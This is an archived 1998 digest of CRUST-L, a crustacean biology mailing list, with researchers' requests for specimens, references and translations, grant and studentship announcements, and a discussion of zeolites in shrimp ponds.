CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 15 May 1998 10:18:14 -0400 (EDT) Subject: CRUST-L: Potential problems CRUSTers, (1) The VIMS server will be down Monday, May 18. Don't panic if your mail doesn't get through. (2) You may have received multiple posts today. If so, problem has been fixed. VIMS has been doing some upgrading. Most of the changes have been seamless, and we hope they'll continue in that vane. Cheers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Wulf Kobusch"" Date: Fri, 15 May 1998 13:41:27 +0000 Subject: CRUST-L: cave amphipods Hello CRUST-Lers, recently I asked for cave mysids, and now it is the cave amphipods I am interested in. I would like to know to what extent the characters I found in cave mysids are due to the ""cave-living"" (compared to amphipod characters). The only problem is to get these critters - if you have no money to travel :-( Therefore just my simple request: Is there anybody out there who has a cave amphipod for me? Genera Niphargus, Hyalella, Bogidiella, Hadzia, Metaniphargus or other cave amphipods? May be it is nearly imprudent to ask for such rare material, but it is not just for fun or for the completion of a collection, but for working. Best regards and greetings to all of you Wulf *********************************************************** Wulf Kobusch Ruhr Universitaet Bochum Lehrstuhl fuer Spezielle Zoologie Gebaeude ND 05 / 776 Universitaetsstrasse 150 44801 Bochum GERMANY phone: +49/(0)234-700-5577 or -4563 fax: +49/(0)234-7094-114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *********************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Gilbert Van Stappen"" Date: Fri, 15 May 1998 08:47:25 +0200 Subject: CRUST-L: IFS- Call for Research Grant Applications THE INTERNATIONAL FOUNDATION FOR SCIENCE - CALL FOR RESEARCH GRANT APPLICATIONS FROM DEVELOPING COUNTRY SCIENTISTS WORKING IN THE FIELD OF AQUATIC RESOURCES The International Foundation for Science (IFS) provides support to young scientists of merit in developing countries by awarding research grants and providing grantees with additional services such as travel grants and purchasing assistance. Within the scope of Aquatic Resources, projects can relate to research dealing with the ecology and sustainable management of aquatic resources. Simple surveys should not be included. Project proposals dealing with aquaculture research, ie site selection, selection, breeding, rearing, and nutrition of cultivable organisms, and disease control are invited. Relevant research in fisheries, aquatic biology and ecology, environmental impact including coastal zone management, and ecology of species and ecosystems can be proposed in applications. Research grants are awarded up to a maximum value of USD 12,000 for a period of one to three years and may be renewed twice. They are intended for the purchase of equipment, expendable supplies, and literature. Applicants must be citizens of, and carry out the research in, a developing country. They should also be employed at a university or national research institution in a developing country. As well as being under the age of 40 (under 30 for applicants from China) and at the start of their research career, candidates must possess a higher academic degree, which should be at least an MSc or equivalent. The IFS supports projects dealing with the management, use, and conservation of biological resources and their environment. The Foundation organizes its activities into six Research Areas, viz Animal Production, Aquatic Resources, Crop Science, Food Science, Forestry/Agroforestry, and Natural Products. For further information and application forms in English or French write to: IFS, Grev Turegatan 19, S-114 38 Stockholm, Sweden Fax: +46-8-54581801 Email: info@ifs.se Website: www.ifs.se Gilbert Van Stappen Laboratory of Aquaculture & Artemia Reference Center Rozier 44, B-9000 Gent, Belgium tel. 32-9-2643754 fax 32-9-2644193 gilbert.vanstappen@rug.ac.be =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 15 May 1998 11:48:01 -0400 (EDT) Subject: CRUST-L: Sagi's response - ---------- Forwarded message ---------- From: Amir Sagi To: Philip Oshel cc: crust-l@vims.edu Subject: Re: CRUST-L: alistair richardson Content-Type: TEXT/PLAIN; charset=US-ASCII I would like to thank all of you for your help. I got it!!! Yours Amir ***************************************************** Dr. Amir Sagi Office: 972 7 6461364 Department of Life Sciences Lab: 972 7 6472668 Ben-Gurion University Fax: 972 7 6472890 P.O.Box 653 Beer Sheva 84105 Israel http://www.bgu.ac.il/life/sagi.html ***************************************************** On Thu, 14 May 1998, Philip Oshel wrote: > Amir, > > Try: > Alastair.Richardson@utas.edu.au > > Phil > > >Dear Crustelers > > > >Could somebody help me with the E-mail of Dr. Alastair Richardson in > >Hobart. I tried his addres from the IAA directory but it does not work > >(alastair.richardson@zoo.utar.edu.au). > > > >Yours > >Amir > > > >***************************************************** > >Dr. Amir Sagi Office: 972 7 6461364 > >Department of Life Sciences Lab: 972 7 6472668 > >Ben-Gurion University Fax: 972 7 6472890 > >P.O.Box 653 > >Beer Sheva 84105 > >Israel http://www.bgu.ac.il/life/sagi.html > >***************************************************** > > > }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ > Philip Oshel > PO Box 5037 > Station A > Champaign, IL 61825-5037 > (217) 355-1143 > oshel@shout.net > or poshel@hotmail.com > ***** looking for a job ***** > > > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: WICKSTEN@BIO.TAMU.EDU Date: Fri, 15 May 1998 11:11:50 -0600 Subject: CRUST-L: translation from Russian Fellow crustacean fans: Is there anyone out there who can translate a paper on pasiphaeid shrimp in Russian into English? Or does anyone know of a good translation service? I have a 5-page paper that I need to be translated, and am willing to pay a reasonable fee. Mary Wicksten, Texas A&M University =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 15 May 1998 09:54:10 -0400 (EDT) Subject: CRUST-L: larval behavior Please respond to Antonio Corgos and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Message-Id: <199805151030.JAA29602@mail2.udc.es> X-Sender: acorgos@mail2.udc.es X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: CRUST-L@VIMS.EDU From: Antonio Corgos Subject: Larval behaviour Hi, crustlers: I'm working on decapod recruitment (specially brachyurans), and I'm looking for references about larval behaviour at settlement and recruitment (substrate exploration and selection, vertical movements,selecting currents...)and larval mortality. Can anybody help me? Thanks in advance. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Asta Audzijonyte"" Date: Sat, 16 May 1998 22:24:33 +0300 (LDT) Subject: CRUST-L: glacial relict crustaceans Hello, I am the student ot Vilnius University in Lithuania. I have started my Bachelor theses on Malacostraca glacial relict crustaceans (Mysis relicta, Pallasiola quadrispinosa, Pontoporeia affinis). Maybe somebody knows of more methods of collecting these crustaceans. Ussually, I use benthic trawl or vertical nets (which is not very effective). I know, that some traps could also be usefull. How large should they be? Thank you Asta =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 18 May 1998 11:43:30 -0400 (EDT) Subject: CRUST-L: zeolites and shrimp Please respond to Enrique Peri and not to me.=20 Thanks, Jeff - ---------- Forwarded message ---------- Date: Sun, 17 May 1998 23:57:28 -0400 From: owner-crust-l@back.vims.edu To: owner-crust-l@back.vims.edu >From jeff Sun May 17 23:57:21 1998 Received: from ecua.net.ec (ecua.net.ec [157.100.1.2]) by back.vims.edu (8.= 6.12/) with SMTP id XAA14328 for ; Sun, 17 May 1998 23:57= :18 -0400 Received: from [157.100.1.94] by ecua.net.ec (AIX 4.1/UCB 5.64/4.04) id AA47738; Sun, 17 May 1998 22:53:40 -0400 Message-Id: <355FB13D.4AA21671@gu.pro.ec> Date: Sun, 17 May 1998 22:55:41 -0500 From: ""Enrique Per=E9"" X-Mailer: Mozilla 4.04 [en] (Win95; I) Mime-Version: 1.0 To: ""CRUST-L@VIMS.EDU"" Subject: Zeolites & Shrimp Content-Type: text/plain; charset=3Diso-8859-1 Content-Transfer-Encoding: 8bit Hello: Does anyone have any experience in using zeolites in shrimp ponds? The last issue of ""Acuacultura del Ecuador"" has an article on the subject which gives some numbers from tank experiments in Cuba showing a higer survival rate and lower feed conversions due to the use of zeolites. Enrique Per=E9 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #144 ***************************** >From owner-crust-l Tue May 26 17:44:18 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id QAA14288 for crust-l-digest-outgoing; Tue, 26 May 1998 16:57:07 -0400 Date: Tue, 26 May 1998 16:57:07 -0400 Message-Id: <199805262057.QAA14288@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #145 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 19 crust-l-digest Tuesday, 26 May 1998 Volume 01 : Number 145 CRUST-L: thanks for Niphargus CRUST-L: new ICES papers Re: CRUST-L: zeolites and shrimp CRUST-L: European Biodiversity program [none] CRUST-L: PhD Studentship in Crustacean Muscle available in Scotland CRUST-L: Histamine in crustaceans CRUST-L: need clawed lobster muscle CRUST-L: Chinese Hairy Crab CRUST-L: RE Chinese Mitten Crab & anemones'boxing gloves CRUST-L: sleeping crayfish CRUST-L: Crustacean tracks CRUST-L: Artificial Diet for land crabs CRUST-L: ICC4 Summer 98 CRUST-L: Spiny lobster larvae ---------------------------------------------------------------------- From: ""Wulf Kobusch"" Date: Mon, 18 May 1998 18:23:29 +0000 Subject: CRUST-L: thanks for Niphargus Hi CRUST-Lers, thanks to everybody who helped me with my cave amphipod problem. Again Crust-L was helpful indeed. Hope to meet you in Amsterdam. Greetings Wulf *********************************************************** Wulf Kobusch Ruhr Universitaet Bochum Lehrstuhl fuer Spezielle Zoologie Gebaeude ND 05 / 776 Universitaetsstrasse 150 44801 Bochum GERMANY phone: +49/(0)234-700-5577 or -4563 fax: +49/(0)234-7094-114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *********************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 19 May 1998 09:04:37 -0400 (EDT) Subject: CRUST-L: new ICES papers - ---------- Forwarded message ---------- From: Star Oddi To: ""'CRUST-L@VIMS.EDU'"" Subject: Star Oddi Date: Tue, 19 May 1998 11:37:32 -0000 Dear Mr. or Madam I would like to inform you of two new ICES papers about the use of the Icelandic Data Storage Tags (DST) on fish. These papers are now available on our home page, http://www.star-oddi.com These papers were both introduced on the last ICES meeting in Bolton, but here they are available on the net, with figures and tables. There is a link direct from the main page to the papers, or they can be found under the page ""References"". These papers are: 1. Sturlaugssosn, J. and Thorisson, K. 1997. Migratory pattern of homing Atlantic salmon (Salmo salar L.) in coastal waters W-Iceland, recorded by data storage tags. ICES, C.M. 1997/CC: 09. 23 p 2. Godo, O.R. and Michalsen, K. 1997. THE USE OF DATA STORAGE TAGS TO STUDY COD NATURAL BEHAVIOUR AND AVAILABILITY TO ABUNDANCE SURVEYS IN THE BARENTS SEA. ICES C.M. 1997/W:18 P These papers are both excellent piece of work and show very well the usage of the DST's. Applications like these are the best recommendation for our tags, and that these scientists have selected the tags from Star Oddi. The MRI in Iceland is conducting a DST tagging experiment on plaice (Pleuronectes platessa) on the West Coast of Iceland. This is the first time our tags have been used on flatfish. The scientists have been getting tags from these fish the last weeks and are starting to analyse the data. The results look very promising and will be announced on our home page later this summer. We will send you mail when the results are ready. Best regards, Sigurdur H. Johannsson M.Sc. Fish-physiology Marketing Manager Star Oddi Grandagardur 5 IS-101 Reykjavik Iceland Tel. +354 551 3444 Fax. +354 551 3480 e-mail star-oddi@star-oddi.com http://www.star-oddi.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Craig Browdy Date: Tue, 19 May 1998 12:33:30 -0400 Subject: Re: CRUST-L: zeolites and shrimp Claude Boyd wrote a review on the use of water and soil amendments in shrimp ponds and it includes a discussion on Zeolites: Boyd, C. 1995. Chemistry and efficacy of amendments used to treat wat= er and soil quality imbalances in shrimp ponds. In: Browdy, C.L. and Hopkins= , J.S. (eds.). Swimming Through Troubled Water, Proceedings of the Special S= ession on Shrimp Farming, Aquaculture '95. World Aquaculture Society, Baton Rouge, LA USA pp. 183-199. According to the article it would take 95,776 kg of zeolite to remove= 1 mg of ammonia per l from a 10,000 m3 shrimp pond with 8 ppt salinity. B= oyd concludes that zeolite treatment for ammonia removal in brackish wate= r does not appear very promising. There are claims that zeolite removes hydr= ogen sulfide, and carbon dioxide by absorption but zeolite does not effect= ivly adsorb gasses in water. There are also claims that the silica in zeo= lite promotes diatom growth but silicon in zeolite is not water soluble an= d therefore it is unavailable to diatoms. If anyone is interested in the book there are a few copies left which= can be ordered from the WAS home office. Email: WASMAS@aol.com Craig L. Browdy Waddell Mariculture Center POB 809 Bluffton, SC 29910 USA Phone: 843-837-3795 FAX: 843-837-3487 Email: browdycl@musc.edu (please note new area code) - ---------- >=20 > Hello: >=20 > Does anyone have any experience in using zeolites in shrimp ponds? = The > last issue of ""Acuacultura del Ecuador"" has an article on the subj= ect > which gives some numbers from tank experiments in Cuba showing a hi= ger > survival rate and lower feed conversions due to the use of zeolites= ------------------------------ From: Jeffrey Shields Date: Wed, 20 May 1998 09:01:36 -0400 (EDT) Subject: CRUST-L: European Biodiversity program - ---------- Forwarded message ---------- To: crust-l@vims.edu From: goujet@cimrs1.mnhn.fr (Daniel F Goujet) (by way of pnoel@mnhn.fr (Pierre NOEL)) X-Sender: pnoel@cimrs1.mnhn.fr Subject: Programme Europeen TMR Sorry : for ""Europeans"" only. Here is information dealing with the European program ""Parsyst"" (= European Research on present and pased Biodiversity). Among others, the 'Museum national d'Histoire Naturelle' in Paris is concerned. It will be possible to welcome foreing scientists till April, 30 2000, for a selected projects. Best Regards, Pierre. *************************** PARSYST Paris Museum National d'Histoire Naturelle Systematics Collections Through the Training and Mobility of Researchers (TMR) Programme, the European Commission has granted the Museum National d'Histoire Naturelle with funds to provide access to European (and Associated States) researchers who project to undertake short visits for research purposes. Visits of up to one months are alllowed on these funds. For further information about the TMR Programme, you can consult the CORDIS site. http://www.cordis.lu/tmr/home.html Travel costs will be covered and a daily allowance provided to meet living costs whilst in Paris. If you would like to apply for financial support for a visit please fill in the application form after reading the application guide which follows it. The application form is can also be requested from: Mission des Relations Internationales Museum National d'Histoire Naturelle, 57 Rue Cuvier, F-75005, Paris, FRANCE Fax: + 33-1-40-79-38-55 Applicants will be considered on a six-monthly basis. The applications have to be send to : Prof. D. Goujet TMR - Project Manager Museum National d'Histoire Naturelle Laboratoire de Paleontologie 8 Rue BUFFON F-75005 PARIS Fax: ++ 33-1-40-79-35-80 E-Mail : goujet@mnhn.fr The next closing date for application receipt is: Monday 15th June 1998. WHO CAN APPLY? According to the European Community rules only citizens (by nationality) of the 15 EU countries will have their applications considered and handled: Austria, Belgium, Denmark, Finland, France, Germany, Greece,Ireland, Italy, Luxemburg, Netherlands, Portugal, Spain, Sweden and United Kingdom. Citizens of the following countries (associated states) which have a research agreement with the EC are also allowed to apply: Iceland, Liechtenstein, Norway and Israel. Applications from other countries are not eligible for TMR/LSF grants. Applicants are invited to submit proposals using the application form (do not attach annexes). All applicants are encouraged to contact in advance the museum unit to be visited. INSTALLATION PROFILE The facility offered by The Museum National d'Histoire Naturelle (MNHN) combines both the recent and fossil collections with a series of analytical facilities which constitutes an up-to date tool for systematics and related research in biodiversity in its recent and historical extensions. The MNHM houses the national collection of over 100 million natural history specimens (including more than 600.000 type Specimens), extensive supporting specialized libraries of over 1,5 million volumes, and the most important concentration of taxonomic and systematic expertise in France. The collections-based research is supported by state-of-the-art specimen preparation and study facilities.It includes analysis and imaging instrumentation with electron microscopy and a molecular biology service, offering the adequate technology to facilitate phylogenetic research. POTENTIAL APPLICATIONS The MNHMps 15 collections include both preserved and living organisms. They cover all the scope of plant and animal groups. This extensive coverage both in space and time (the collection , founded in the 17th century, still houses a high number of historical specimens) allows a wide range of researches, covering all aspects of biodiversity and systematic issues, from environmental global change to every aspect of taxonomy, evolutionary biology and ecology, in terrestrial as well as marine environments. The molecular biology service and the unique collection of cryopreserved cells allow specific approaches to these scientific investigations. ACCESS When accepted by the selection committee for a specific research project, Users will be integrated into the MNHM functional structure. It is meant through a multi-disciplinary approach to improve the collections information content toward their applied use, adding value to the research output. Some of the non restrictive major themes that can be developed around the Biological collections in cooperation with the Museum's research teams are the followings: - - Ecological Patterns and Processes It involves an investigation on the distribution of organisms in space and through time, and the processes by which these patterns are generated. The conservation and management of biological diversity depends on such a sound scientific basis. Domains of research range from the ecology of individual groups to large-scale approach of ecosystems such as tropical forests or the deep sea. - - Biodiversity variation in the Plio-pleistocene, involving climatic variations, fossil faunas and floras, palynology. - - Faunas and Floras These researches lead through description and naming to decipher the diversity of animals and plants and document their variations of different habitats. It leads to identification keys, regional or more extensive studies for use in fundamental or applied sciences and conservation studies. - Systematics and Evolution Through use of both traditional and contemporary techniques, the aim is to discover and investigate the patterns of biodiversity and evolution. It constitutes the foundation of all comparative biology and its applications in such domains as e.g.biogeography, host-parasite relationships. It involves all kinds of organisms from unicellular ones to highly complex metazoans. ====================================== Daniel F.GOUJET (Project Manager) Professeur au Mus um Laboratoire de Paleontologie Museum National d'Histoire Naturelle 8 Rue BUFFON F-75005, PARIS , FRANCE TEL: ++331 40 79 30 16 FAX: ++331 40 79 35 80 E-MAIL: goujet@mnhn.fr ====================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: owner-crust-l Date: Wed, 20 May 1998 16:22:26 -0400 Subject: [none] Please contact Jo Ruxton (jo.ruxton@bbc.co.uk) if you can provide any help. Thanks, Jeff Sender: owner-crust-l@back.vims.edu Precedence: bulk Reply-To: Jeffrey Shields - ---------- Forwarded message ---------- Date: Wed, 20 May 1998 17:12:20 +0000 From: jo.ruxton@bbc.co.uk To: Jeffrey Shields Subject: Dear Jeff Having removed myself from the crustlers list, I now have a question but also, someone has recommended I contact you (Loren Cohen) for some information so perhaps if you can help I need not join the list again. You may already know that the BBC Natural History Unit is making a new series about the world's oceans, 'The Blue Planet', an 8 X 50 minute programme series due for transmission in late 2001. I an trying to fond information about the Chinese Mitten Crab - the one that uses anemones as 'boxing gloves'. Do you know of anyone who is studying them. I am not sure where we can go to film them but ideally a tank shoot would be best and so if there is anyone researching them, that would be ideal. Any information you can offer or more names to follow up would be gratefully received. My email address is: jo.ruxton@bbc.co.uk Many thanks Jo Ruxton =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: GRANT D STENTIFORD <9707223s@UDCF.GLA.AC.UK> Date: Fri, 22 May 1998 13:03:20 +0100 Subject: CRUST-L: PhD Studentship in Crustacean Muscle available in Scotland Dear Crust-L users : >UK 3 year Postgraduate Studentship available > > >A postgraduate Studentship funded by the UK NERC is available from October >1998 at The University of Glasgow, Scotland UK. > >Title: The effect of environmental variables on muscle development, claw >strength and agonistic interactions in lobsters. > >Supervisors: Dr. D.M. Neil, Dr A.C. Taylor and Dr W.S. Fowler > >Candidates should be from the UK (to receive full funding) or an EC >country (fees only), and should hold (or expect to obtain) at least an >Upper Second Class Honours degree in a biological subject and should have a >keen interest in crustacean biology, muscle physiology and/or behaviour. >They should submit as soon as possible a letter of application and a full >CV, with the names and addresses (including e-mail, if possible) of two >academic referees, to: Dr D.M. Neil, Division of Environmental & >Evolutionary Biology, Graham Kerr Building, Glasgow University, Glasgow G12 >8QQ. Tel. 0141 330 5969, fax 0141 330 5971, e-mail d.neil@bio.gla.ac.uk. > >For further details see the following web site: > >http://www.gla.ac.uk/Acad/IBLS/DEEB/dmn/neil.htm > > >Dr Douglas M. Neil >Division of Environmental and Evolutionary Biology, >Institute of Biomedical and Life Sciences, >Graham Kerr Building, >Glasgow G12 8QQ, >Scotland, UK, > >email: d.neil@bio.gla.ac.uk >Tel: +44 (0)141 330 5969 >Fax +44 (0)141 330 5971 > > Grant D Stentiford, Crustacean Parasitology, Graham kerr Building. University of Glasgow. Glasgow. Scotland. Tel; UK (0141) 3306627 email ; g.stentiford@udcf.gla.ac.uk =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: JEAN LAVALLEE Date: Fri, 22 May 1998 16:41:59 -0400 (AST) Subject: CRUST-L: Histamine in crustaceans List members, Does anybody know of any work done on histidine and/or histamine in crustaceans? Especially, crustaceans fed diet rich in histidine and/or histamine. Could it be possible that a lobster, or a crab, ingesting high levels of histamine develop a pseudo allergic reaction (without, of course, the presence of IG's), or some sort of a food poisoning? I would appreciate any info or suggestions. Thanks, Jean ************************************* Jean Lavallee, DVM Crustacean / Fish Health Resident Atlantic Veterinary College, UPEI Charlottetown, Prince Edward Island Canada, C1A 4P3 Tel: 902-566-0995 Fax: 902-566-0823 Email: jlavallee@upei.ca ************************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: DTSHUDY@EDINBORO.EDU Date: Fri, 22 May 1998 18:41:24 -0500 (EST) Subject: CRUST-L: need clawed lobster muscle List members, My colleagues and I have begun the long process of testing morphology- based clawed lobster phylogenies (e.g. Tshudy and Babcock, 1997, Journal of Crustacean Biology 17(2):253-263) with molecular data. We need muscle samples, shipped in alcohol or on dry ice, from all recent genera. We have begun sequencing Homarus and Metanephrops but need samples from all other genera. We can pay for postage, packing, etc. If anyone out there could help, I'll FAX or e-mail more info. Any replies will be greatly appreciated! Sincerely, Dale Tshudy, Ph.D. Associate Professor Dept. of Geosciences Edinboro University of PA Edinboro, Pennsylvania USA 814-732-2453 (my office) -2529 (Geo. office) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU 